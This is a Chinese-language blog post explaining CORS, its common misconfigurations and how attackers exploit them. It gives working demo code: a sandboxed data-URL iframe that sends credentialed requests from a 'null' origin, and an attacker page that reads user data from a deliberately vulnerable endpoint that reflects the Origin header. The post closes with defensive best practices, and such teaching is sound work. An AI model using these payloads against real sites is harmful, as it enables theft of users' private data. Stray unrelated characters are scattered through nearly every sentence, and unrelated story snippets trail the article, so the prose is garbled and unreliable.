簡單聊聊 CORS 攻擊與防御

我們是袋鼠云數(shù)棧 UED 團隊,致力于打造優(yōu)秀的一站式數(shù)據(jù)中臺產(chǎn)品规丽。我們始終保持工匠精神绒怨,探索前端道路造虎,為社區(qū)積累并傳播經(jīng)驗價值第队。

本文作者:霽明

什么是CORS

CORS(跨域資源共享)是一種基于HTTP頭的機制哮塞,可以放寬瀏覽器的同源策略,實現(xiàn)不同域名網(wǎng)站之間的通信凳谦。

前置知識

同源定義:協(xié)議忆畅、域名、端口號一致即為同源尸执。

CORS主要相關(guān)標(biāo)頭:

Access-Control-Allow-Origin:指定該響應(yīng)的資源是否允許與給定的來源(origin)共享家凯。

Access-Control-Allow-Credentials:用于在請求要求包含 credentials 時,告知瀏覽器是否可以將對請求的響應(yīng)暴露給前端 JavaScript 代碼如失。

CORS使用

常規(guī)使用方式

將ACAO標(biāo)頭指定為特定的源绊诲,Access-Control-Allow-Origin: http://a.b.com

如果請求需要攜帶憑證(例如cookies、authorization headers 或 TLS client certificates)褪贵,需要將ACAC標(biāo)頭設(shè)置為true驯镊,Access-Control-Allow-Credentials: true。

另外竭鞍,前端請求方法需要配置 credentials

// XHR
const xhr = new XMLHttpRequest();
xhr.open("GET", "http://example.com/");
xhr.withCredentials = true;
xhr.send();

// Fetch
fetch(url, {
  credentials: "include",
});

常見的錯誤用法

同時配置多個源

將多個源同時寫在ACAO標(biāo)頭里:

Access-Control-Allow-Origin: http://a.b.com,http://c.b.com

或者同時設(shè)置了多個ACAO標(biāo)頭:

Access-Control-Allow-Origin: http://a.b.com
Access-Control-Allow-Origin: http://c.b.com

此時跨域請求會報錯,提示只能配置一個源:

file

在ACAO標(biāo)頭里使用通配符

Access-Control-Allow-Origin: *.b.com

此時跨域請求會報錯橄镜,提示配置的源無效:

file

ACAO配置為“*”偎快,但請求攜帶了憑證

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

跨域請求時會報錯,提示當(dāng)攜帶憑證時ACAO標(biāo)頭不能為“*”:

file

用法小結(jié)

  • ACAO 標(biāo)頭的值只能為這3種情況之一:*洽胶、指定的源(只能指定1個)晒夹、null。
  • ACAC 標(biāo)頭設(shè)置為 true 時(攜帶憑證時)姊氓,ACAO 標(biāo)頭必須設(shè)置為一個指定的源丐怯。

CORS標(biāo)頭在哪里設(shè)置

代理服務(wù)器

在 Nginx 配置中,一般會在http翔横、server 或 location 模塊中設(shè)置響應(yīng)標(biāo)頭读跷,代碼示例:

add_header Access-Control-Allow-Origin http://target.dtstack.cn;
add_header Access-Control-Allow-Credentials true;
// 其他 Access-Control 標(biāo)頭

后端

可以在后端代碼中設(shè)置,部分后端框架也會設(shè)置默認值禾唁,以下是部分軟件框架默認值設(shè)置情況:

file
file

CORS漏洞

在跨域資源共享過程中效览,由于 CORS 配置不當(dāng)无切,導(dǎo)致本應(yīng)該受限的訪問請求,可以繞過訪問控制策略讀取資源服務(wù)器的數(shù)據(jù)丐枉,造成用戶隱私泄露哆键,信息竊取甚至賬戶劫持的危害。

CORS 的幾種配置情況:

序號 Access-Control-Allow-Origin Access-Control-Allow-Credentials 結(jié)果
1 * true 存在漏洞
2 任意的源 true 存在漏洞
3 指定具體的源> true 不存在漏洞
4 null true 存在漏洞
5 * 不設(shè)置 存在漏洞
6 任意的源 不設(shè)置 存在漏洞
7 指定具體的源 不設(shè)置 不存在漏洞
8 null 不設(shè)置 存在漏洞

對于情況1瘦锹,Access-Control-Allow-Origin: *籍嘹,Access-Control-Allow-Credentials: true:

  • 如果請求攜帶了憑證,瀏覽器會報錯弯院,要求ACAO標(biāo)頭不能為*辱士,這種情況下是沒有漏洞的,因為請求直接失敗了抽兆。
  • 如果請求不攜帶憑證(請求方法未設(shè)置 credentials)识补,則相當(dāng)于情況5,請求能正常響應(yīng)辫红,如果服務(wù)端不要求校驗憑證凭涂,則數(shù)據(jù)會被返回。

對于其他存在漏洞情況贴妻,都可以通過某些手段切油,獲取到請求返回的數(shù)據(jù),這里就不細說名惩。

攻擊方式(繞過)

可以攻擊的前提:目標(biāo)網(wǎng)站存在CORS漏洞

使用 null 源

任何使用非分級協(xié)議(如 data: 或 file:)的資源和沙盒文件的 Origin 的序列化都被定義為 “null”澎胡,這里利用 iframe 標(biāo)簽,使用 data url 格式將 src 的值直接加載為 html娩鹉,請求代碼就寫在<script>標(biāo)簽中:

<iframe
  sandbox="allow-scripts allow-top-navigation allow-forms"
  src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
  ></iframe>

在 attack.dtstack.cn 頁面加載這段代碼后就會發(fā)出請求:

Host: target.dtstack.cn:4000
Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null

由于 Origin 和 ACAO 標(biāo)頭匹配攻谁,所以接口能正常響應(yīng)獲取到數(shù)據(jù)。

使用符合匹配規(guī)則的域名

例如目標(biāo)域名是 target.top弯予,當(dāng) origin 匹配規(guī)則為包含 target.top 字符串時戚宦,攻擊網(wǎng)站可以通過以下幾種方式去繞過 origin 校驗,使得請求響應(yīng)的 ACAO 標(biāo)頭為攻擊站點锈嫩,從而成功進行跨域請求受楼。

  • 目標(biāo)域名作為子域名:target.top.attack.com
  • 攻擊域名包含子域名字符串:attacktarget.top
  • 控制目標(biāo)域名的子域名:attack.target.top

當(dāng)目標(biāo)網(wǎng)站是直接使用請求頭的 Origin 作為響應(yīng)的 ACAO 標(biāo)頭時,相當(dāng)于允許任意站點進行跨域請求呼寸。

有時目標(biāo)網(wǎng)站會信任某些第三方網(wǎng)站艳汽,例如一些云服務(wù)網(wǎng)站,這時如果攻擊者使用同一云服務(wù)商的產(chǎn)品(源相同)对雪,也可以對目標(biāo)站點發(fā)起跨域請求河狐。

攻擊 Demo 演示

在本地使用 Next.js 搭建兩個站點,一個是 target.dtstack.cn:4000,一個是 attack.dtstack.cn:3000甚牲。

target 站點實現(xiàn)

target 站點有一個查詢用戶信息接口义郑,并且 CORS 配置存在漏洞,target 站點首頁可以通過接口獲取用戶信息丈钙。

file

頁面代碼圖如下:

'use client';
import { useState } from 'react';

const url = '/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = () => {
    setData('請求數(shù)據(jù)...');
    fetch(url, { method: 'POST' })
      .then((res) => res.json())
      .then((data: Record<string, any>) => {
        setData(JSON.stringify(data, null, 2));
      })
      .catch(() => {
        setData('請求數(shù)據(jù)失敗');
      });
  };

  return (
    <div>
      <h3>This is target site</h3>
      <button onClick={getData} style={{ margin: "0 0 12px" }}>
        獲取數(shù)據(jù)
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
    </div>
  );
}

查詢用戶信息接口直接將請求的 Origin 設(shè)置為 ACAO 標(biāo)頭非驮,且 ACAC 標(biāo)頭設(shè)置為 true,代碼如下:

export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  const cors = Cors({
    origin: req.headers.origin,
    credentials: true,
    methods: ['POST', 'GET', 'HEAD'],
  });

  await runMiddleware(req, res, cors);

  res.setHeader('Set-Cookie', 'user_name=admin; Domain=.target.dtstack.cn; Expires=Fri, 26 Apr 2024 07:13:04 GMT; Path=/;');
  res.json({ username: 'admin' });
}

attack 站點實現(xiàn)

attack 站點可以在頁面上雏赦,發(fā)起對 target 站點查詢用戶信息接口的請求

file

頁面實現(xiàn)代碼如下:

'use client';
import { useState } from 'react';

const targetUrl = 'http://target.dtstack.cn:4000/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = (url: string) => {
    setData('請求數(shù)據(jù)...');
    fetch(url, {
      method: 'POST',
      credentials: 'include',
    })
      .then((res) => res.json())
      .then((data: Record<string, any>) => {
        setData(JSON.stringify(data, null, 2));
      })
      .catch(() => {
        setData('請求數(shù)據(jù)失敗');
      });
  };

  return (
    <div>
      <h3>This is attack site</h3>
      <button
        onClick={() => getData(targetUrl)}
        style={{ margin: '0 12px 12px 0' }}
        >
        獲取target數(shù)據(jù)
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
      <iframe
        sandbox="allow-scripts allow-top-navigation allow-forms"
        src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
        ></iframe>
    </div>
  );
}

攻擊過程

獲取 target 站點數(shù)據(jù)

打開 attack 頁面劫笙,請求 target 站點的http://target.dtstack.cn:4000/api/getUserInfo接口

file

請求頭:

Host: target.dtstack.cn:4000
Origin: http://attack.dtstack.cn:3000

響應(yīng)頭:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://attack.dtstack.cn:3000

此時成功獲取到了target站點的用戶數(shù)據(jù):

file

如果想要在非同站情況下發(fā)送cookie,SameSite屬性需要為None星岗,且必須同時設(shè)置Secure屬性填大,而Secure屬性在使用Https協(xié)議時才可以使用。使用目前最新版的Chrome (v124)俏橘、Edge (v124)、Firefox (v125)進行測試寥掐,F(xiàn)irefox和Chrome不會發(fā)送目標(biāo)站點cookie靴寂,而Edge會發(fā)送召耘。

file

防御方式(最佳實踐)

  • 非必要的話百炬,不要開啟 CORS。
  • 定義白名單污它,對允許的源嚴格校驗剖踊,ACAO 標(biāo)頭不要設(shè)置為*,origin 也盡量不要使用正則進行校驗衫贬,避免匹配錯誤德澈。
  • 使用 https,防止中間人攻擊固惯。
  • 配置 Vary 標(biāo)頭包含 Origin圃验,例如 Vary: Origin,請求的 Origin 變化時更新數(shù)據(jù)缝呕,避免攻擊者利用緩存。
  • 非必要時不啟用 ACAC 標(biāo)頭斧散,防止本地憑證被攻擊者利用供常。
  • 限制允許的請求方法,通過 Access-Control-Allow-Methods 標(biāo)頭設(shè)置允許請求的方法鸡捐,降低風(fēng)險栈暇。
  • 限制緩存時間,通過 Access-Control-Max-Age 標(biāo)頭設(shè)置預(yù)檢請求返回結(jié)果的緩存時間箍镜,確保瀏覽器短時間內(nèi)可以更新緩存源祈。
  • 僅配置需要的響應(yīng)標(biāo)頭煎源,當(dāng)接收到跨域請求時才配置相關(guān)標(biāo)頭,減少攻擊者的惡意利用香缺。

參考鏈接

最后

歡迎關(guān)注【袋鼠云數(shù)棧UED團隊】~
袋鼠云數(shù)棧 UED 團隊持續(xù)為廣大開發(fā)者分享技術(shù)成果手销,相繼參與開源了歡迎 star

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末锋拖,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子祸轮,更是在濱河造成了極大的恐慌兽埃,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,324評論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件适袜,死亡現(xiàn)場離奇詭異柄错,居然都是意外死亡,警方通過查閱死者的電腦和手機苦酱,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,356評論 3 392
  • 文/潘曉璐 我一進店門售貌,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人躏啰,你說我怎么就攤上這事趁矾。” “怎么了给僵?”我有些...
    開封第一講書人閱讀 162,328評論 0 353
  • 文/不壞的土叔 我叫張陵毫捣,是天一觀的道長。 經(jīng)常有香客問我帝际,道長蔓同,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,147評論 1 292
  • 正文 為了忘掉前任蹲诀,我火速辦了婚禮斑粱,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘脯爪。我一直安慰自己则北,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,160評論 6 388
  • 文/花漫 我一把揭開白布痕慢。 她就那樣靜靜地躺著尚揣,像睡著了一般。 火紅的嫁衣襯著肌膚如雪掖举。 梳的紋絲不亂的頭發(fā)上快骗,一...
    開封第一講書人閱讀 51,115評論 1 296
  • 那天,我揣著相機與錄音,去河邊找鬼方篮。 笑死名秀,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的藕溅。 我是一名探鬼主播匕得,決...
    沈念sama閱讀 40,025評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼蜈垮!你這毒婦竟也來了耗跛?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,867評論 0 274
  • 序言:老撾萬榮一對情侶失蹤攒发,失蹤者是張志新(化名)和其女友劉穎调塌,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體惠猿,經(jīng)...
    沈念sama閱讀 45,307評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡羔砾,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,528評論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了偶妖。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片姜凄。...
    茶點故事閱讀 39,688評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖趾访,靈堂內(nèi)的尸體忽然破棺而出态秧,到底是詐尸還是另有隱情,我是刑警寧澤扼鞋,帶...
    沈念sama閱讀 35,409評論 5 343
  • 正文 年R本政府宣布申鱼,位于F島的核電站,受9級特大地震影響云头,放射性物質(zhì)發(fā)生泄漏捐友。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,001評論 3 325
  • 文/蒙蒙 一溃槐、第九天 我趴在偏房一處隱蔽的房頂上張望匣砖。 院中可真熱鬧,春花似錦昏滴、人聲如沸猴鲫。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,657評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽拂共。三九已至,卻和暖如春蟹倾,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,811評論 1 268
  • 我被黑心中介騙來泰國打工鲜棠, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留肌厨,地道東北人。 一個月前我還...
    沈念sama閱讀 47,685評論 2 368
  • 正文 我出身青樓豁陆,卻偏偏與公主長得像柑爸,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子盒音,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,573評論 2 353

推薦閱讀更多精彩內(nèi)容